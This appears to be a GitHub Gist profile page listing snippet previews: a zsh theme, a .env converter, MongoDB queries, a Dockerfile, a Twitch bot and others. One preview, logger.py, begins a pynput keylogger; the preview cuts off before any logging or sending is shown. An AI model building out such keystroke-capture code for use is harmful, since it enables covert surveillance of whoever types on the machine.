Skip to content

Instantly share code, notes, and snippets.

View bjarneo's full-sized avatar
🏠
Working from home

bjarneo bjarneo

🏠
Working from home
View GitHub Profile
@bjarneo
bjarneo / autolinks.py
Created June 22, 2023 06:40
add and remove autolinks from github with python
@bjarneo
bjarneo / htb.zsh-theme
Created August 18, 2022 08:34
HTB modified theme
# █ █ ▐▌ ▄█▄ █ ▄▄▄▄
# █▄▄█ ▀▀█ █▀▀ ▐▌▄▀ █ █▀█ █▀█ █▌▄█ ▄▀▀▄ ▀▄▀
# █ █ █▄█ █▄▄ ▐█▀▄ █ █ █ █▄▄ █▌▄█ ▀▄▄▀ █▀█
#
# P E N - T E S T I N G L A B S
# HTB ZSH theme
# This is modified from https://gist.github.com/MadLittleMods/2dc87634c6f3649852fba89b9b98e366#file-eric-zsh-theme
# Modifier: bjarneo
# Date: 08-18-22
@bjarneo
bjarneo / convert.js
Created June 22, 2022 11:18
.env to json (no blank lines)
// Node.js program to demonstrate the
// fs.readFileSync() method
// Include fs module
const fs = require("fs");
// Calling the readFileSync() method
// to read 'input.txt' file
const data = fs.readFileSync("./.env", {
encoding: "utf8",
@bjarneo
bjarneo / logger.py
Last active January 5, 2022 11:55
logger.py
from pynput.keyboard import Listener
def log_keystroke(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":
<?php
echo file_get_contents('https://oeverli.win');
?>
<style type="text/css">
p {
color: #26b72b;
}
</style>
@bjarneo
bjarneo / twitchbot.js
Last active December 16, 2019 08:06
Basic twitch chat bot
const tmi = require('tmi.js');
// Define configuration options
const opts = {
identity: {
username: 'your_username',
password: 'oauth:your_secret_password' // get the password from https://twitchapps.com/tmi/
},
channels: ['your_channel_name']
};
@bjarneo
bjarneo / mongodb.js
Last active June 11, 2019 06:44
MongoDB
// find date GTE and LT
db.collection.find({createdAt: { $gte: ISODate("2019-04-10T00:00:00Z"), $lt: ISODate("2019-05-10T00:00:00Z") }}).count()
// find and sorted with limit
db.collection.find().sort({_id: -1}).limit(1).pretty()
// Remove from array
db.studios.find().toArray().map(item => item._id).forEach(id => db.studios.update({_id: id}, { $pull: { modules: { type: "commentsModule" } } }));
// Update one property
@bjarneo
bjarneo / Dockerfile
Last active March 2, 2018 13:51
Dockerfile using CreateReactApp, and nginx for handling requests. Docker image size ~17MB.
# The build stage
FROM node:9.5-alpine as builder
WORKDIR /app
COPY package-lock.json .
COPY package.json .
RUN npm i
@bjarneo
bjarneo / config.js
Created March 2, 2018 08:24
client side config
import merge from 'deepmerge';
import delve from 'dlv';
import defaultConfig from './default';
const { REACT_APP_ENV, NODE_ENV } = process.env;
const ENV = REACT_APP_ENV || NODE_ENV;
const config = () => {
try {

Keybase proof

I hereby claim:

  • I am bjarneo on github.
  • I am bjarneo (https://keybase.io/bjarneo) on keybase.
  • I have a public key ASCCxN0Me82nYqYxqHgRtZkKdRNYl64Ohp5Xb4b0IFI58Qo

To claim this, I am signing this object: